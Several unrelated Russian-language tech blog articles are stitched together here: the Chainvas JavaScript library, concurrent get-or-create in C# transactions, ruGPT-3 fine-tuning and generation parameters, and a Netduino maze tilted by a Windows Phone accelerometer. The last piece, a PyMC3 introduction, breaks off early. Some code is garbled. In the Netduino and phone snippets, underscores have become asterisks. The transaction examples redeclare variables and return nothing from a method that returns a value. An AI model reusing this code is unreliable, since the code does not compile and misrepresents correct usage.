Библиотека [Chainvas](http://leaverou.github.com/chainvas/) весит всего-навсего **≈1⅓ килобайта** после обработки минификатором, а между тем её методами можно обеспечить обёртку вокруг всех (или только некоторых) методов любого объекта, обеспечивая цепной вызов их. К ней также приложена пара готовых дополнительных модулей, один из которых (объёмом 348 байтов) задаёт обёртку вокруг API DOM, а другой (объёмом 406 байтов) задаёт обёртку холстов *().*
Обёртывание DOM позволяет совершать цепные вызовы наподобие нижеследующих:
```
// цепной вызов DOM (объектной модели документа):
document.body.appendChild(
document.createElement('a')
.prop({
'href': 'http://leaverou.me',
'innerHTML': 'Lea Verou',
'title': 'Visit this awesome blog!',
'onclick': function(evt){
alert('gotcha!');
}
})
.setAttribute('data-unicorns', '42')
.addEventListener('mouseover', function(){
alert('don’t do this');
}, false)
);
// цепной вызов CSSOM (объектной модели стилей):
var css = document.body.style.prop({
color: '#245',
fontFamily: 'Georgia, serif',
textDecoration: 'underline'
}).removeProperty('text-decoration').cssText;
// цепной вызов методов classList:
element.classList
.add('foo')
.add('bar')
.toggle('baz');
```
Выглядит неплохо — но, понятно, при наличии jQuery всё это никому не нужно. Я бы нипочём не стал возёхаться с **document.createElement('a')** вместо простого **$('')**, например.
А вот обёртка для холстов *()* — это совсем другое дело. Она не просто обеспечивает цепной вызов методов холста (пример которого я привёл перед тем, как упомянул Chainvas), которого нет в jQuery, но и определяет два полезных вспомогательных метода: **circle(x, y, radius)** для отрисовки кругов и **roundRect(x, y,** **width, height, radius)** для отрисовки закруглённых прямоугольников. (Здесь «отрисовкою» я называю определение начертаний контура, после которого всё же потребуется дополнительный вызов **stroke()** или **fill()** для фактического отображения.)
Сладкий, сладкий синтаксический сахар.
Не удивительно поэтому, что и саму библиотеку её автор назвала «Chainvas». | https://habr.com/ru/post/131542/ | null | ru | null |
# Транзакции и многопоточный доступ к базе данных
Недавно мне понадобилось выполнить следующий код (представлен в максимально упрощенном виде):
```
public void Start()
{
using (var transactionScope = new TransactionScope())
{
...
GetOrCreateCompany(someValue);
...
transactionScope.Complete();
}
}
private Company GetOrCreateCompany(string companyName)
{
var company = _companiesRepository.GetCompany(companyName); //простая выборка из таблицы по названию; если компания не найдена - возвращается null
if (company == null)
company = _companiesRepository.Add(companyName);
return company;
}
```
Код этот выполнялся в многопоточной среде, где каждый поток на вход получал метод Start (а значит у каждого потока была своя транзакция).
У этого, казалось бы, простого кода есть несколько нюансов, о которых и пойдет речь под катом.
Для поставленной задачи есть общее решение: выставить необходимые constraint'ы, заключить транзакцию в цикл, и если возникает исключение — пробовать заново (если превышено некоторое число попыток — выкидываем исключение наверх). Однако в случае большого количества потоков в результате конфликтующих блокировок этот подход работает очень медленно (проще сказать, что не работает). Поэтому я начал реализовывать более специфичное решение.
Ниже код моего первого решения (в дальнейшем специфика транзакций и локов будет рассматривать на примере MySQL):
```
public void Start()
{
using (var transactionScope = new TransactionScope(TransactionScopeOption.Requires, new TransactionOptions() { IsolationLevel = IsolationLevel.Serializable }))
{
...
GetOrCreateCompany(someValue);
...
transactionScope.Complete();
}
}
private Company GetOrCreateCompany(string companyName)
{
var company = _companiesRepository.GetCompanyWithWriteLock(companyName); //делаем выборку в стиле SELECT ... FOR UPDATE
if (company == null)
company = _companiesRepository.Add(companyName);
return company;
}
```
В приведенном коде блокируется выборка компании вместе с соответствующим range (за счет использования Serializable) и разблокируется только после коммита. Следующая транзакция, которая попытается считать ту же компанию, будет ждать коммита заблокировавшей транзакции.
В общем-то это решение работает. Но смотрим на [закон Амдала](http://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%BA%D0%BE%D0%BD_%D0%90%D0%BC%D0%B4%D0%B0%D0%BB%D0%B0), потом на наш код, потом еще раз на Закон Амдала — и становится грустно: мало того, что мы вынуждены блокировать записи вплоть до коммита транзакции (а ведь объем кода ниже блокировки/блокировок не фиксирован), так еще и ставим write-lock даже если выборка вернет искомую компанию (а значит добавлять ее не нужно). Если первый пункт является основой этого решения, и от него никуда не деться, то со вторым мы еще поборемся.
Выборка компании не вернет нам null в двух случаях:
1. Компания была добавлена в рамках предыдущей транзакции, которая уже закоммичена
2. Компания была добавлена в рамках текущей транзакции, и станет видна другим транзакциям только после коммита текущей транзакции
Давайте попробуем отдельно обрабатывать первый случай, и прежде чем блокировать, будем выполнять запрос вне текущей транзакции, который будет проверять, нет ли искомых данных среди уже закоммиченных транзакций:
```
private Company GetOrCreateCompany(string companyName)
{
Company company;
//сделаем запрос вне текущей транзакции, который проверит, нет ли искомой компании среди уже закоммиченных. Если есть - мы просто вернем ее, не воспользовавшись блокировками уровня кода
using (var independentTransactionScope = new TransactionScope(TransactionScopeOption.Suppress))
{
company = _companiesRepository.GetCompany(companyName);
}
//если компания видна вне нашей текущей транзакции, значит она была добавлена уже закоммиченной транзакцией - возвращаем ее без блокировки
if (company != null)
return;
//company может быть null в двух случаях: 1. она была добавлена в текущей транзакции, и другие транзакции ее еще не видят 2. компания еще не была добавлена
var company = _companiesRepository.GetCompanyWithWriteLock(companyName);
if (company == null) //компания не видна даже в текущей транзакции - значит она еще не была создана
company = _companiesRepository.Add(companyName);
}
}
```
Небольшой минус этой оптимизации в том, что приходится дублировать выборку, если значения не видно вне текущей транзакции (иными словами, если внутри независимого TransactionScope вернулся null для выборки). Но на фоне выигрыша в производительности на эту лишнюю выборку можно закрыть глаза.
Зачем я написал эту статью? Меня не покидает ощущение, что я пошел не в том направлении: проблема тривиальна, а решение… не очень. Кроме того, мне не удалось найти примеров решения этой задачи, а это еще больше меня озадачивает. Надеюсь, комментаторы прояснят ситуацию, предложив альтернативные решения, либо согласившись с моим.
**Update**
В личной переписке хабрачеловек [Shaddix](http://habrahabr.ru/users/shaddix/) (по совместительству, мой коллега) предложил интересное развитие идеи использования независимой транзакции — поместить в независимую транзакцию не только считывание, но и добавление. Эта, на первый взгляд, небольшая модифиция очень сильно все меняет.
Сначала реализация:
```
public class TransactionCode
{
private static readonly object _lockObject = new object();
public void Start()
{
using (var transactionScope = new TransactionScope())
{
...
GetOrCreateCompany(someValue);
...
transactionScope.Complete();
}
}
private Company GetOrCreateCompany(string companyName)
{
Company company;
//проверяем, нет ли компании среду уже закоммиченных транзакций
using (var indepdentTransactionScope = new TransactionScope(TransactionScopeOption.RequiresNew))
{
var company = _companiesRepository.GetCompany(companyName);
}
if (company != null)
return;
//если среди закоммиченных нет, значит ее нужно добавить
//добавляем в независимой транзакции
using (var independentTransactionScope = new TransactionScope(TransactionScopeOption.RequiresNew))
{
var company = _companiesRepository.GetCompanyWithWriteLock(companyName);
if (company == null)
company = _companiesRepository.Add(companyName);
independentTransactionScope.Complete();
}
}
}
```
Теперь мы не добавляем компанию в основной транзакции, а используем для этих целей независимую транзакцию. Основная фишка здесь в том, что так как добавление происходит в независимой транзакции, которая сразу коммитится, то добавленное значение сразу (а не после коммита основной транзакции, как это было в предыдущем решении) станет видно другим транзакциям. Ну и в том, что этот подход эффективнее, нет никаких сомнений: в моем случае прирост производительности составил 300% (причем чем динамичнее данные, тем больше прирост за счет меньшего времени жизни блокировок).
Но у этого решения есть и недостатки:
1. Самый главный недостаток — если основная транзакция откатится, то добавленные в независимой транзакции данные не откатятся (мы их закоммитили). В общем случае недостаток довольно критичный… но не для меня: в методах типа GetOrCreate у меня добавляются относительно независимые данные, которые все равно рано или поздно добавятся: не в этой транзакции, так в следующей.
2. У меня есть личные предубеждения против использования not-readonly транзакций с TransactionScopeOption.RequiresNew и TransactionScopeOption.Suppress (раскрою их в следующем посте).
Таким образом, несмотря на то, что последнее решение мне нравится больше, в общем случае нельзя сказать, что одно из них лучше другого — они разные. | https://habr.com/ru/post/115156/ | null | ru | null |
# Краткий экскурс в ruGPT-3. Инструкция и демонстрация
GPT-3 — нейронная сеть, наделавшая шума в 2020 году, как самая сложная, объёмная и многообещающая модель по работе с текстовыми данными. Создана организацией OpenAI в нескольких вариациях, от 125 миллионов до 175 миллиардов признаков. Хотя в названии организации и есть слово “Open”, по факту модель GPT-3 является проектом проприетарного типа, то есть, с закрытым программным кодом, доступ к которому выдаётся за деньги.
В октябре этого же года команды из SberDevices на основе статьи от OpenAI и кода модели GPT2 смогли разработать русскоязычный аналог под название ruGPT-3 в 5 вариациях от 125 млн. до 13 млрд. признаков, используя мощности суперкомпьютера «Кристофари», а самое главное, что в данном случае код действительно открытый, за исключением модели на 13 млрд.
За счет универсальности и гибкости модели ее можно использовать не только для создания текста, но и в десятках других сложных сценариев, например:
1. анализ настроений текста, их классификация на положительные и отрицательные;
2. из пункта 1. следует возможность использования для алгоритмов детоксификации, то есть, автоматического редактирования отрицательных текстов в положительные;
3. ранжирование картинок и подписей к ним – своеобразное computer vision решение, которое относит подпись к нужному изображению;
4. симплификация / суммаризация / резюмирование текстов, то есть, создание краткого пересказа, поданного на вход текста с сохранением смысла;
5. сервисы по генерации текста – Копирайтинг – Рерайтинг электронных писем, рекламных объявлений и прочего на заданную тему;
6. рекомендательные системы – анализ ранних запросов пользователей, список составленных предпочтений и предложение релевантного контента;
7. перевод текстов на различные языки;
8. чат боты для поддержания как неформальной беседы, так и в качестве составной части виртуального ассистента;
9. генерация программного кода по запросу пользователя
При использовании данной нейросети в качестве инструмента необязательно знать структуру кода или хитросплетения слоёв нейронов, но нужно понимать некоторые гиперпараметры, необходимые для настройки, так как они будут сильно влиять на результат. Проще всего отметить несколько универсальных стилей работы с данной моделью на примере задачи генерации текста.
**Стиль 1.**Строгий машинный подход к написанию текста
Настройка специальных гиперпараметров для данного случая не требуется. Отбор слов происходит по принципу наибольшей вероятности.
Рис 1. Выбор пути для стиля 1 в схеме распределения вероятностей появления слов в разных последовательностях**Стиль 2.** Менее строгий подход к написанию текста
num\_beams = n – кол-во путей с наибольшими неочевидными итоговыми вероятностными сочетаниями. Изначальный выбор путей происходит из топа величин вероятностей по первым нодам. На рисунке 2 — это случай выбора фразы «The dog has» при n=2, P = 0,36. Без данного параметра будет происходить «жадная» генерация текста, то есть, модель будет выбирать следующее слово, у которого вероятность появления после предыдущего максимальная «The nice woman», общая P = 0,2 — меньше чем при поиске пути
early\_stopping=True — генерация подсчёта вероятностей завершается, когда достигнут конец предложения.
no\_repeat\_ngram\_size = n – штраф за повторы в сочетаниях слов. Убирает повторы длиной в n слов, например, если текст про «Российскую Империю», то словосочетание «Российская Империя» при параметре n=2, не будет повторяться.
num\_return\_sequences = n – кол-во лучших вариантов генерации на вывод. Очень полезный параметр позволяет выбрать лучший вариант генерации, который более всех остальных отвечает целям оператора, но необходимо следить чтобы данный параметр был <= num\_beams.
**Стиль 3.** Сэмплинг – более творческий подход к генерации, включающий в себя элемент случайностей
do\_sample=True – случайный выбор следующего слова в соответствии с его условным распределением вероятностей, используя только данный параметр, сильно увеличивается вероятность получения логического бреда
temperature = n – используя данный коэффициент происходит увеличение вероятности использования слов с высокими значениями вероятности и уменьшение вероятности использования слов с низкой вероятностью в распределении. Также, чем ближе к нулю значение, тем больше генерация будет похожа на жадный подбор слов
top\_k = n – определяется n кол-во слов, которые обладают наибольшей вероятностью из условного распределения вероятностей всех слов, что сужает выбор для модели и отбрасывает максимально неподходящие слова сразу
top\_p = n – определяется n слов, чья вероятностная масса вместе равна n%, то есть ограничения сэмлирования происходят динамически, исходя из начального набора, можно комбинировать с top\_k
Промежуточный вывод:
**Стиль 1** используется, если нужно получить точное определение, точный перевод, когда не нужно видеть других вариантов генерации. Стиль 1 следует правилу определения следующих слов, ориентируясь только на высокую вероятность их появления.
**Стиль 2** лучше всего подходит, если известна заранее длина текста для генерации, и где творчество и непредсказуемость являются нежелательной чертой, но необходима гибкость в выражениях сохраняя общий формализм, то есть в случаях, например, деловой переписки или генерации чего-то одной природы, например, списков имён, цифр.
**Стиль 3** следует использовать для генерации более непринуждённых бесед, рассказов, сочинений.
Посмотрим на модели поближе. Проведем эксперимент, дообучим 2 вида сети ruGPT-3 small (125 млн. признаков) и large (760 млн. признаков) на статьях с [сайта NTA](https://newtechaudit.ru/), используя мощности платформы Ml\_Space от площадки SberCloud. Из спарсенных и размеченных 1117 статьях для обучения выберем одну, что снискала популярность на всем известном портале ‘Хабр’, и имеет более 2-х тысяч просмотров. Эта статья: «Поиск нарушений на видео при помощи компьютерного зрения».
Ссылки:
1. <https://newtechaudit.ru/poisk-narushenij-na-video-s-pomoshhyu-kompyuternogo-zreniya/>
2. <https://habr.com/ru/post/545678/>
Далее уберем эту статью из обучающей выборки и сгенерируем при помощи дообученных нейронных моделей отрывки текста, которые могли бы принадлежать к началу данной статьи. В качестве затравки будут подаваться на вход названия статей.
Отрывок кода, для процесса дообучения small и large версий модели:
```
#Установка необходимых библиотек:
!pip install torch==1.4.0
!pip3 install transformers==3.5.0
```
```
#Скачивание репозитория Сбера, который содержит нужные модели и скрипт токенизации входных данных
!git clone https://github.com/sberbank-ai/ru-gpts
```
```
# создание папки для модели, куда будут сохраняться веса модели
!mkdir models/
# Дообучение модели. Текстовые документы находятся в раннее созданных спарсенных данных в файлах train.txt и test.txt. Здесь можно выбирать название модели, которую нужно дообучить, размер блока в который будет упакован датасет после токенизации, кол-во эпох в обучении. В результате модель дообучится и рассчитает метрику удивления модели – перплексию, где чем значение меньше, тем лучше, здесь оно находилось в диапазоне от 11 до 17.
!export PYTHONPATH=${PYTHONPATH}:/ru-gpts/
!CUDA_VISIBLE_DEVICES=0 python ru-gpts/pretrain_transformers.py \
--output_dir=models/weights \
--model_type=gpt2 \
--model_name_or_path=sberbank-ai/rugpt3large_based_on_gpt2 \
--do_train \
--train_data_file=train.txt \
--do_eval \
--eval_data_file=valid.txt \
--per_gpu_train_batch_size 1 \
--gradient_accumulation_steps 1 \
--num_train_epochs 5 \
--block_size 1024 \
--overwrite_output_dir
```
```
#Фиксирование рандома, чтобы результат был более менее воспроизводим
np.random.seed(42)
torch.manual_seed(42)
#Импорт модели и токенизатора из huggingface – библиотеки по работе с транформерными моделями
from transformers import GPT2LMHeadModel, GPT2Tokenizer
```
```
tok = GPT2Tokenizer.from_pretrained("models/weights") #загрузка дообученного токенизатора
model = GPT2LMHeadModel.from_pretrained("models/essays") #загрузка дообученной модели
model.cuda() #перевод модели на GPU, можно обойтись и без этого, тогда генерация будет происходить медленнее
```
```
#предоставление затравки должно быть Явное, копируя вид размеченных данных:
text = "\n\n\n~~Заголовок: Продвинутое использование библиотеки pytorch: от
подготовки данных до визуализации результата \n\nСтатья: "
inpt = tok.encode(text, return\_tensors="pt")~~
```
```
#Настройка гиперпараметров, исходя из выбранного стиля генерации
num_return_sequences = 5
out = model.generate(inpt.cuda(),
num_return_sequences= num_return_sequences,
max_length=150,
repetition_penalty=2.0,
do_sample=True,
top_k=50, top_p=0.95,
temperature=0.7)
```
```
#Просмотр результатов для всех созданных вариантов
for i in range(num_return_sequences):
print(tok.decode(out[i]))
```
В качестве результата сравнения будет субъективное мнение автора о том, логично ли составлен кусок текста и лучше или хуже он чем тот, что есть сейчас в статьях.
**Затравка:**«Заголовок: Поиск нарушений на видео при помощи компьютерного зрения»
**Оригинал:** «В нашем распоряжении имеются записи с камер наблюдения рабочего места сотрудника и журнал проведения операций. Будем искать все моменты на записи, где отсутствовал клиент. В этом нам поможет нейронная сеть MobileNet и CSRT Tracker из библиотеки opencv. А для удобства еще и Tesseract-OCR.»
**Результат (Small):** «Содержание: Как правило, в аудиторских расследованиях выявляются ошибки и несоответствия. При этом зачастую не удается найти причины нарушения или выявить отклонения от норм законодательства РФ – например нарушение сроков получения лицензии (внутренний аудит). Поэтому одним из решений для предотвращения подобных проблем является применение алгоритмов компьютерной визуализации с использованием компьютерных технологий. По мнению автора статьи Дэвида Мюррея Аудитора Веб-сайта MITSHOP, алгоритм распознавания лиц по изображению лица может помочь сократить количество ошибок оператора видеопотока данных во время передачи кадров о событии.»
**Результат (Large):**«Содержание: В работе аудитора часто встречаются случаи, когда в процессе проведения проверки выявляются нарушения законодательства РФ или иных нормативных правовых актов. Нередки ситуации выявления фиктивных трудовых отношений между сотрудниками и работодателями либо предоставления заведомо ложных сведений о состоянии здоровья сотрудника по результатам медицинских осмотров (обследований). В подобных случаях мы сталкиваемся с проблемой поиска нарушителей уже после совершения противоправной деятельности – например через анализ видеоматериалов видеонаблюдения за процессом исполнения служебных обязанностей сотрудников подразделения внутреннего аудита банка.»
По итогу, первый вариант генерации достаточно неплох, но под конец выдаёт бред про автора статьи, и демонстрирует потерю логической связи, второй вариант выглядит достаточно хорошо в качестве введения, не теряет логическую нить и более развёрнуто описывает проблему. Главное отличие оригинала от сгенерированных, это краткость изложения и погружения в инструменты работы сходу.
Продемонстрируем еще один пример использования данной сети и создадим рекомендательную систему по кинематографическим предпочтениям. Для примера будет взят пользователь из сайта Кинопоиск и сгенерированы фильмы, которые он смотрел на основе 2-х любых просмотренных из его истории, дальше проведено банальное сравнение, есть ли эти фильмы у него также в истории. То есть, модель не будет дообучаться, а будет строить продолжение из того, что уже знает.
Для данного случая воспользуемся вариантом ruGPT-3xl на 1,3 млрд признаков. В качестве стиля для генерации не подойдёт использование сэмплинга, ибо нужен более строгий подбор именно фильмов, в противном случае, алгоритм будет уводить в рассуждения о жизни и другие подобные темы.
Чтобы работать с данным xl вариантом необходимо сначала установить расширения для оптимизации смешанного и распределенного обучения в Pytorch – Apex, плюс язык для работы с ядрами – Triton и библиотеку для расширенного использования языковых моделей Deepspeed.
Фрагмент кода для настройки:
```
#Настройка параметров для стиля с Beamsearch
filter_resuls(gpt.generate(
text="Артём, 25 лет. Он смотрел фильмы: 'Унесённые призраками','Твоё имя', ",
max_length=120,
num_beams=3,
no_repeat_ngram_size=3,
repetition_penalty=2.))
```
Рис 4. Результат генерации просмотренных фильмовСравнив данный результат с историей пользователя сервиса узнаём, что покрытие составляет 100%, это разумеется и потому что, алгоритм предлагает также и крайне популярные фильмы, но результат всё равно достаточно неплохой с учётом, что модель никак не дообучалась.
В качестве заключения приведу фразу, которую сгенерировала модель ruGPT-3 13B на 13 млрд. признаков, которую можно запустить только по API на площадке SberCloud, с затравкой содержащей начало вывода: «В качестве вывода можно сказать, что нейронная сеть GPT-3 => из эксперимента в эксперимент позволяет решать весьма интересные задачи. В дальнейшем на основе этой сети планируется создать интеллектуальные системы дистанционного управления движением ракет с применением технологии ГЛОНАСС или Galileo (если их реализация состоится). А также система мониторинга параметров ядерных установок ВВЭР и ЯБП может быть использована для поиска повреждений отдельных реакторов АЭС России», грандиозные планы, конечно.
Модели, рассмотренные в данной статье достаточно малы, в то время как уже сейчас существует модель на 1,6 трлн признаков от Google, что только говорит о начале использования данного инструмента, и перспективности задействования его, если не как основного, то дополнительного во многих сервисах, что существуют на сегодняшний день и еще только будут созданы. | https://habr.com/ru/post/589663/ | null | ru | null |
# Разработка игры под управлением WP8 с использованием Netduino
*Мы столкнулись с интересной статьей от разработчика приложений под Windows Phone и решили поделиться ею с вами.*
Когда я был маленьким, родители подарили мне деревянную игру-лабиринт. Она мне очень нравилась. Не думаю, что меня когда-либо волновал сам лабиринт, но механизм наклона был интригующим и очень простым.
Позже я вспомнил об этой игре и решил найти эту игру онлайн и свой старый лабиринт в кладовке.
Сейчас существует масса схожих игр, использующих акселерометр телефона, но их графика оставляет желать лучшего. Вот почему я сделал фотореалистичный вариант ;-)
Цель была сделать лабиринт, соединяющий в себе олдскульный и современный варианты игры. Так что я использовал телефон для управления наклоном физического лабиринта через Bluetooth с Netduino. Лабиринт — это простая модель, распечатанная на 3D принтере и наклоняемая двумя сервоприводами. Бонусом от добавления выключателя в конце послужила обратная связь с телефоном, дающая знать о завершения игры.
##### Что нам понадобится:
• 2 довольно сильных сервопривода. Я использовал Turnigy TGY-9018MG Metal Gear Servo из [HobbyKing](http://www.hobbyking.com/hobbyking/store/__17322__Turnigy_TGY_9018MG_Metal_Gear_Servo_2_5kg_13g_0_10.html)
• Модуль Bluetooth
• Netduino
• Небольшой квадратный лабиринт
• Резистор на 10 кОм
• Шарик из проводящего материала
##### Механизм:
Прежде чем вдаваться в технические подробности, стоит разобраться в наклоняющем механизме. Описание ниже может поставить в тупик, поскольку его сложно объяснить. Так что если почувствуете, что запутались, смотрите на картинки чуть ниже, станет понятнее.
Наклон в двух направлениях реализуют по аналогии с деревянной игрой. Один сервопривод прикрепляется к внутренней части игрушки, затем второй сервопривод крепится к внешнему корпусу. Стоит заметить, что в деревянном лабиринте целых три коробки помещены одна в другую, как это можно увидеть на первой картинке поста. Я пользовался той же теорией, но несколько ее упростил. Нижняя часть обеих осей не будет действительно горизонтальной, а значит, лабиринт по сути будет вращаться вокруг условного внутреннего стержня.
Так что мы просто имеем два сервопривода, расположенных под углом 90 градусов относительно друг друга. Первый будет вращать второй. А второй, в свою очередь, будет вращать подставку, прикрепленную к самому лабиринту. Ниже две картинки, иллюстрирующие вышеописанное.
И, чтобы стало еще понятнее, вот как это выглядит в действии:
Чтобы соединить приводы я просто туго стянул их резинкой. Нижний сервопривод я приклеил к старому креплению от привода и закрепил на плоском основании.
##### Лабиринт:
С моделью лабиринта пришлось немного помучиться, но, так или иначе, модель в конце поста вполне рабочая, её при желании можно распечатать на собственном принтере. Я распечатал его в размере 9 на 9 см, т.к. это самый большой размер, который может распечатать мой Makerbot Thing-O-Matic.
Чтобы создать модель, я первым делом отправился на [www.mazegenerator.net](http://www.mazegenerator.net/) и создал там лабиринт 9х9. Затем импортировал результат в SketchUp, отрисовал линии и нарастил стенки. Стенки я сделал высокими настолько, чтобы шарик не вываливался из лабиринта, но и не застревал.
##### Netduino:
Электронная часть не так уж сложна.
Примечание: общие провода расположены так, чтобы быть более заметными.
##### Модуль Bluetooth:
В данном случае он присоединяется также, как и в моих предыдущих проектах. Код точно такой же, так что подробности можно почитать здесь:
[blog.roguecode.co.za/Post/ControllingaNetduinooverBluetoothwithWP8](http://blog.roguecode.co.za/Post/ControllingaNetduinooverBluetoothwithWP8)
[blog.roguecode.co.za/Post/MoreNetduino%2bWP8%2bBluetoothfun-3Dreconstruction](http://blog.roguecode.co.za/Post/MoreNetduino%2bWP8%2bBluetoothfun-3Dreconstruction)
[blog.roguecode.co.za/Post/Netduino%2bSonar%2bWP8%2bBluetooth-Controllingsoundwithyourmind](http://blog.roguecode.co.za/Post/Netduino%2bSonar%2bWP8%2bBluetooth-Controllingsoundwithyourmind)
##### Приводы:
Я начал этот раздел с прямого подключения сервоприводов к разъёму питания Netduino. Понимаю, что вообще-то это не рекомендуется делать, поскольку это приводит к большим затратам энергии, но для запуска концепта это должно быть приемлемо.
Кроме того, у меня возникли другие проблемы, кроме потребляемой мощности – как только стартовали сервоприводы, происходило отключение модуля Bluetooth. Это вполне объяснимо шумом/помехами, но я не сталкивался с тем, чтобы это влияло на какой-либо другой компонент так явно.
Так что я подсоединил их к батарейному блоку на 4.8V. Важно помнить, что необходимо соединить заземление батареи и Netduino. Сигнальные провода идут к контактам ШИМ.
##### Конечная точка лабиринта:
Чтобы сделать контакты конечной точки лабиринта, я отрезал две металлические полоски и поместил одну горизонтально в конечной точке, а вторую – вертикально, с небольшим зазором относительно первой. Когда шарик достигает конца лабиринта, он замыкает контакт между двумя площадками и активирует выключатель.
##### Код:
После добавления кода Bluetooth (по ссылкам выше) остальное становится довольно просто.
```
static SerialPort bt;
static string buffer = "";
static Servo servoX;
static Servo servoY;
static InterruptPort endStopPort;
static bool isRunning = false;
public static void Main()
{
servoX = new Servo(Pins.GPIO*PIN*D5);
servoY = new Servo(Pins.GPIO*PIN*D9);
bt = new SerialPort(SerialPorts.COM1, 9600, Parity.None, 8, StopBits.One);
bt.Open();
endStopPort = new InterruptPort(Pins.GPIO*PIN*D10, false, Port.ResistorMode.Disabled, Port.InterruptMode.InterruptEdgeLevelHigh);
endStopPort.OnInterrupt += new NativeEventHandler(endStopPort*OnInterrupt);
bt.DataReceived += new SerialDataReceivedEventHandler(bt*DataReceived);
servoX.Degree = 90;
servoY.Degree = 105;
while (true)
{
//do some other stuff here
Thread.Sleep(1000);
}
}
static void endStopPort_OnInterrupt(uint data1, uint data2, DateTime time)
{
if (isRunning)
{
isRunning = false;
byte[] bytes = Encoding.UTF8.GetBytes("done|");
bt.Write(bytes, 0, bytes.Length);
}
Thread.Sleep(1);
endStopPort.ClearInterrupt();
}
```
Для начала мы устанавливаем оба сервопривода, Bluetooth и выключатель на контактной площадке конца лабиринта. Чтобы разобраться, как и почему работают выключатели на Netduino, сходите [по ссылке](http://blog.codeblack.nl/post/Netduino-Getting-Started-with-switches.aspx). Затем выравниваем сервоприводы, чтобы лабиринт был расположен горизонтально.
В идеальном мире, в котором они держатся не на резинках, оба значения будут 90 градусов. Класс приводов взят [здесь](http://forums.netduino.com/index.php?/topic/160-netduino-servo-class/).
Код в обработчике событий заставит выключатель срабатывать, когда шарик замкнет контакты. Но, поскольку мы не хотим, чтобы это срабатывало раз за разом, мы убедимся, что текущая игра запущена (с помощью isRunning bool).
В заключительной части кода Netduino обрабатывает сообщения от телефона.
```
private static void DoSomething(string buffer)
{
if (buffer == "start")
{
isRunning = true;
}
else
{
string[] split = buffer.Split(new char[] { ',' });
if (split.Length == 2)
{
int x = int.Parse(split[0]);
int y = int.Parse(split[1]);
servoX.Degree = x + 3;
servoY.Degree = y + 12;
Debug.Print(x + " " + y);
}
}
}
```
Когда игрок нажимает кнопку GO на телефоне, по каналу Bluetooth посылается команда «start». Так что мы устанавливаем bool в значение true, чтобы показать, что игра началась.
Если сообщение – не сообщение о старте, то мы знаем, что это значения акселерометра. Как будет понятно из телефонной части кода, мы отправляем эти данные как значения по осям X, Y. Код разделяет их, затем конвертирует в значения int и устанавливает сервоприводы. Как упоминалось ранее, я добавляю небольшое смещение, поскольку мои приводы не до конца откалиброваны по уровню.
##### WP8:
Телефонный код совершенно прост. Вот базовые функции, которые он выполняет:
— Послать «start», когда нажата кнопка GO
— Отобразить таймер
— Отправить значения акселерометра по осям X и Y
— Отобразить окончательное время игры при получении «done»
И вот код для каждой из них:
**Послать «start», когда нажата кнопка GO и отобразить таймер**
```
private void goBtn*Click*1(object sender, RoutedEventArgs e)
{
Write("start");
secTxt.Text = "";
msText.Text = "";
*startedDT = DateTime.Now;
TimeSpan timeTaken;
\_timer = new DispatcherTimer { Interval = new TimeSpan(0, 0, 0, 0, 51) };
\_timer.Tick += (s, ev) =>
{
timeTaken = DateTime.Now.Subtract(*startedDT);
secTxt.Text = timeTaken.Seconds.ToString();
msText.Text = timeTaken.Milliseconds.ToString();
};
_timer.Start();
goBtn.Visibility = System.Windows.Visibility.Collapsed;
stopBtn.Visibility = System.Windows.Visibility.Visible;
timerDisplayContainer.Visibility = System.Windows.Visibility.Visible;
}
```
Следует отметить, что использовать DispatcherTimer с такой высокой частотой, вероятно, не самая лучшая идея. И он не должен использоваться кроме случаев, когда это действительно необходимо.
**Отправить значения акселерометра по осям X и Y**
```
void *acc*ReadingChanged(Accelerometer sender, AccelerometerReadingChangedEventArgs args)
{
Write(Convert(args.Reading.AccelerationX) + "," + Convert(-args.Reading.AccelerationY) + "|");
Dispatcher.BeginInvoke(() =>
{
xRight.Opacity = args.Reading.AccelerationX * 2;
xLeft.Opacity = -args.Reading.AccelerationX * 2;
yTop.Opacity = args.Reading.AccelerationY * 2;
yBottom.Opacity = -args.Reading.AccelerationY * 2;
});
}
private string Convert(double val)
{
return ((int)((Clamp((val * 2d), -1, 1) * 10) + 90)).ToString();
//first double it so full range is -45deg to 45deg
//clamp the above value to the max of -1 and 1
//then multiple by the max angle we want the servos to goto
//then add 90 because servos go from 0 to 180, not -90 to 90
}
private double Clamp(double value, double min, double max)
{
return value < min ? min : value > max ? max : value;
}
```
Те, кто использовал MathHelper.Clamp в XNA должны узнать функционал. Он просто останавливает значение от превышения или снижения вне установленного лимита. Код внутри Dispatcher делает несколько визуальных действий, чтобы показать угол наклона в UI.
**Показ финального времени после получения “done”.**
```
private void DoSomethingWithReceivedString(string *receivedBuffer)
{
if (*receivedBuffer == "done")
{
*timer.Stop();
stopBtn.Visibility = System.Windows.Visibility.Collapsed;
goBtn.Visibility = System.Windows.Visibility.Visible;
TimeSpan timeTaken = DateTime.Now.Subtract(*startedDT);
MessageBox.Show(string.Format("You took {0}:{1}", timeTaken.Seconds, timeTaken.Milliseconds), "Done!", MessageBoxButton.OK);
}
}
```
Вот и все, по сути. Смотрите исходники для примеров BT и UI.
##### Загрузки:
В [zip-файле](http://blog.roguecode.co.za/gimme/71b4acb67422_A023/NetduinoWP8MazeFiles.zip) содержатся решение для Netduino, решение для WP8 и STL-модель для распечатывания.
*Поделитесь вашими проектами, в которых использовался WP8!* | https://habr.com/ru/post/174731/ | null | ru | null |
# PyMC3 — MCMC и не только
PyMC3 — МСМС и не только
========================
Привет, Хабрахабр!
В [этом](https://habrahabr.ru/company/wunderfund/blog/279545/) посте уже упоминался PyMC3. Там можно почитать про основы MCMC-сэмплирования. Здесь я расскажу про вариационный вывод ([ADVI](https://arxiv.org/abs/1603.00788)), про то, зачем все это нужно и покажу на довольно простых примерах из галереи PyMC3, чем это может быть полезно. Одним из таких примеров будет байесовская нейронная сеть для задачи классификации, но это в самом конце. Кому интересно — добро пожаловать!
Введение
========
Прежде чем переходить к основной части, считаю необходимым освежить терминологию байесовского анализа. Предмет этого подраздела теории вероятностей — вывод апостериорного распределения. Задача выглядит следующим образом:
Аналитик хочет что-то узнать о ненаблюдаемых (латентных) параметрах модели  и у него есть некие соображения на счет того, какими они могут быть . Кроме того, он может судить о том, как хорошо его данные  ложатся в модель с параметрами . Выражается это через правдоподобие  — вероятность наблюдать данные при заданных параметрах.
Где
*  — априорное распределение, предположения насчет предполагаемых результатов.
Когда подходишь к решению задачи, очень часто есть представление о том явлении, которое исследуется.
